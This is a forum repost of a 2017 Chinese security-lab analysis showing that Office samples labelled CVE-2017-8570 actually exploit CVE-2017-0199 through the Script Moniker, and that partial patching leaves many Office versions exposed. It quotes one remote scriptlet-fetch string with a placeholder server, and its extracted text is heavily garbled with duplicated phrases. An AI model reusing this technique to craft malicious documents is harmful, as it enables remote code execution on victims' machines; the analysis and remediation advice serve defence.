搜索

[11652] 2017-08-11_乌龙的CVE-2017-8570样本及背后的狗血

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2017-08-11_乌龙的CVE-2017-8570样本及背后的狗血 乌 龙 的 C V E - 2 0 1 7 - 8 5 7 0 样 本 及 背 后 的 狗 血 3 6 0 天 眼 实 验 室   F r e e B u f   2 0 1 7 - 0 8 - 1 1 所 谓 的 所 谓 的 C V E - 2 0 1 7 - 8 5 7 0 样 本 样 本 上 周 上 周 3 6 0 天 眼 实 验 室 发 现 了 有 国 外 黑 客 在 天 眼 实 验 室 发 现 了 有 国 外 黑 客 在 G i t h u b 上 发 布 了 上 发 布 了 C V E - 2 0 1 7 - 8 5 7 0 漏 洞 的 利 用 代 码 ， 但 随 即 删 除 ， 以 此 漏 洞 的 利 用 代 码 ， 但 随 即 删 除 ， 以 此 之 后 发 现 了 不 少 标 注 为 之 后 发 现 了 不 少 标 注 为 C V E - 2 0 1 7 - 8 5 7 0 的 的 O f f i c e 恶 意 样 本 ， 比 如 下 面 这 个 恶 意 样 本 ， 比 如 下 面 这 个 V i r u s T o t a l 上 被 标 记 为 上 被 标 记 为 C V E - 2 0 1 7 - 8 5 7 0 的 样 本 。 的 样 本 。 经 过 3 6 0 天 眼 实 验 室 的 分 析 ， 我 们 发 现 相 关 的 利 用 代 码 使 用 的 还 是 老 的 C V E - 2 0 1 7 - 0 1 9 9 ， 而 非 新 的 C V E - 2 0 1 7 - 8 5 7 0 。 我 们 分 析 如 下 ， 供 同 行 参 考 。 首 先 解 析 样 本 中 的 p p t s l i d e s _ r e l s s l i d e 1 . x m l . r e l s 文 件 ，   r I d 3 是 一 个 O L E 对 象 ， 指 向 一 个 外 部 链 接 ， 注 意 这 个 字 符 串 ” s c r i p t : h t t p / / [ s e r v e r ] / t e s t . s c t ”   ， 其 中 重 要 的 是 ” s c r i p t ： ” ， 这 里 标 识 了 接 下 来 要 使 用 的 M o n i k e r （ 通 过 M k P a r s e D i s p l a y N a m e ( ) ） ， 也 就 是 S c r i p t   M o n i k e r 。 而 S c r i p t   M o n i k e r 正 是 微 软 4 月 份 的 补 丁 中 禁 用 掉 的 两 个 M o n i k e r 之 一 ：
2 0 1 7 年 4 月 ， 修 复 C V E - 2 0 1 7 - 0 1 9 9 时 禁 用 了 h t a f i l e 对 象 和 s c r i p t 对 象 ： 以 下 栈 结 构 反 映 了 在 未 打 上 C V E - 2 0 1 7 - 0 1 9 9 补 丁 的 环 境 下 样 本 的 执 行 流 程 ：
该 样 本 其 实 就 是 C V E - 2 0 1 7 - 0 1 9 9 的 另 外 一 种 利 用 方 式 （ 插 入 h t a f i l e 或 者 s c r i p t ） ， 而 不 是 C V E - 2 0 1 7 - 8 5 7 0   。 C V E - 2 0 1 7 - 0 1 9 9 的 补 丁 陷 井 的 补 丁 陷 井 对 于 上 面 这 个 所 谓 的 C V E - 2 0 1 7 - 8 5 7 0 样 本 （ 事 实 上 就 是 C V E - 2 0 1 7 - 0 1 9 9 ） 在 我 们 以 为 打 了 C V E - 2 0 1 7 - 0 1 9 9 补 丁 的 机 器 运 行 ， 漏 洞 竟 然 可 以 被 触 发 。 经 过 更 深 入 的 分 析 ， 我 们 发 现 问 题 出 在 补 丁 没 打 全 上 。 微 软 4 月 份 发 布 的 C V E - 2 0 1 7 - 0 1 9 9 补 丁 被 分 成 了 两 个 部 分 ， 一 个 是 针 对 O f f i c e 的 补 丁 （ 修 改 M S O . d l l ） ， 一 个 是 对 W i n d o w s 的 补 丁 （ 主 要 修 改 了 o l e 3 2 . d l l ） ， 这 两 个 补 丁 必 须 都 安 装 才 可 以 保 证 不 受 C V E - 2 0 1 7 - 0 1 9 9 的 影 响 。
红 框 部 分 为 O f f i c e 补 丁 ， 蓝 框 部 分 为 W i n d o w s 系 统 补 丁 。 W i n d o w s 系 统 补 丁 大 多 会 被 正 常 安 装 ， 但 O f f i c e 的 补 丁 是 否 能 正 常 安 装 取 决 于 当 前 的 版 本 ， 微 软 在 安 全 通 报 中 所 列 的 可 打 补 丁 的 O f f i c e 版 本 如 下 ： 经 过 我 们 的 验 证 发 现 ， 没 有 在 上 表 列 出 的 版 本 的 O f f i c e ， 不 能 触 发 h t a f i l e 版 本 的 漏 洞 利 用 代 码 ，   而 s c r i p t 的 漏 洞 利 用 代 码 是 可 以 正 常 触 发 的 ， 下 面 是 我 们 在 W i n 7   x 8 6 、 O f f i c e   2 0 1 3   P r o   P l u s 的 环 境 下 ， 使 用 S c r i p t   M o n i k e r 的 漏 洞 利 用 代 码 成 功 触 发 的 截 图 ： 需 要 注 意 的 是 ， 微 软 给 出 的 补 丁 是 严 格 匹 配 到 O f f i c e 的 大 版 本 的 某 个 S e r v i c e P a c k 的 ， 如 上 微 软 提 供 M i c r o s o f t   O f f i c e 2 0 1 3   S e r v i c e   P a c k   1 的 补 丁 ， 而 对 于 一 些 更 早 版 本 的 O f f i c e （ 例 如 M i c r o s o f t   O f f i c e   2 0 1 3 ） ， 将 不 能 安 装 C V E - 2 0 1 7 - 0 1 9 9 的 m s o 补 丁 ， 需 要 先 升 级 到 最 新 的 S P 1 版 本 才 行 。 也 有 就 是 说 ， 所 有 不 在 上 面 所 列 的 O f f i c e 版 本 均 无 法 利 用 正 常 打 上 补 丁 ， 还 是 会 受 0 1 9 9 漏 洞 影 响 ， 下 面 就 是 例 子 。 上 例 O f f i c e   2 0 1 3   P r o   P l u s 没 有 在 微 软 给 出 的 受 影 响 版 本 中 （ 补 丁 给 的 是 M i c r o s o f t   O f f i c e   2 0 1 3   S e r v i c e   P a c k   1 ） ， 所 以 不 能 成 功 安 装 m s o 补 丁 ， 只 安 装 了 o l e 部 分 的 补 丁 ， 两 个 补 丁 缺 少 一 个 漏 洞 可 以 成 功 利 用 。 我 们 还 测 试 了 类 似 环 境 下 的 O f f i c e   2 0 0 7 、 O f f i c e s   2 0 1 0 等 未 在 受 影 响 版 本 范 围 内 的 O f f i c e ， 均 可 以 成 功 利 用 ， 考 虑 到 国 内 O f f i c e 盗 版 横 行 补 丁 不 全 的 现 状 ， 0 1 9 9 漏 洞 的 影 响 面 非 常 大 而 且 将 长 期 存 在 。 目 前 看 来 这 一 套 使 用 S c r i p t   M o n i k e r 的 漏 洞 利 用 比 h t a 的 e x p 适 用 范 围 更 广 ， 更 具 威 胁 性 ， 可 以 确 定 将 来 一 段 时 间 内 使 用 这 一 套 漏 洞 利 用 的 C V E - 2 0 1 7 - 0 1 9 9 恶 意 样 本 将 会 大 量 增 加 。 修 复 建 议 修 复 建 议 针 对 在 受 影 响 版 本 的 o f f i c e 办 公 软 件 安 装 2 0 1 7 年 4 月 的 安 全 补 丁 ， 确 保 两 个 补 丁 都 成 功 安 装 。 对 于 不 在 受 影 响 版 本 范 围 内 的 O f f i c e ， 首 先 应 当 将 O f f i c e 升 级 到 最 新 的 S P 版 本 ， 然 后 将 C V E - 2 0 1 7 - 0 1 9 9 的 补 丁 打 上 。 如 果 不 能 升 级 到 指 定 的
O f f i c e 版 本 ， 可 以 酌 情 考 虑 禁 用 以 下 注 册 表 项 ： 注 册 表 项 ： 参 考 链 接 参 考 链 接 h t t p s : / / p o r t a l . m s r c . m i c r o s o f t . c o m / e n - U S / s e c u r i t y - g u i d a n c e / a d v i s o r y / C V E - 2 0 1 7 - 0 1 9 9 h t t p : / / j u s t h a i f e i 1 . b l o g s p o t . k r / 2 0 1 7 / 0 7 / b y p a s s i n g - m i c r o s o f t s - c v e - 2 0 1 7 - 0 1 9 9 - p a t c h . h t m l h t t p : / / b o b a o . 3 6 0 . c n / l e a r n i n g / d e t a i l / 3 9 4 5 . h t m l * 本 文 作 者 ： 3 6 0 天 眼 实 验 室 ， 转 载 请 注 明 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理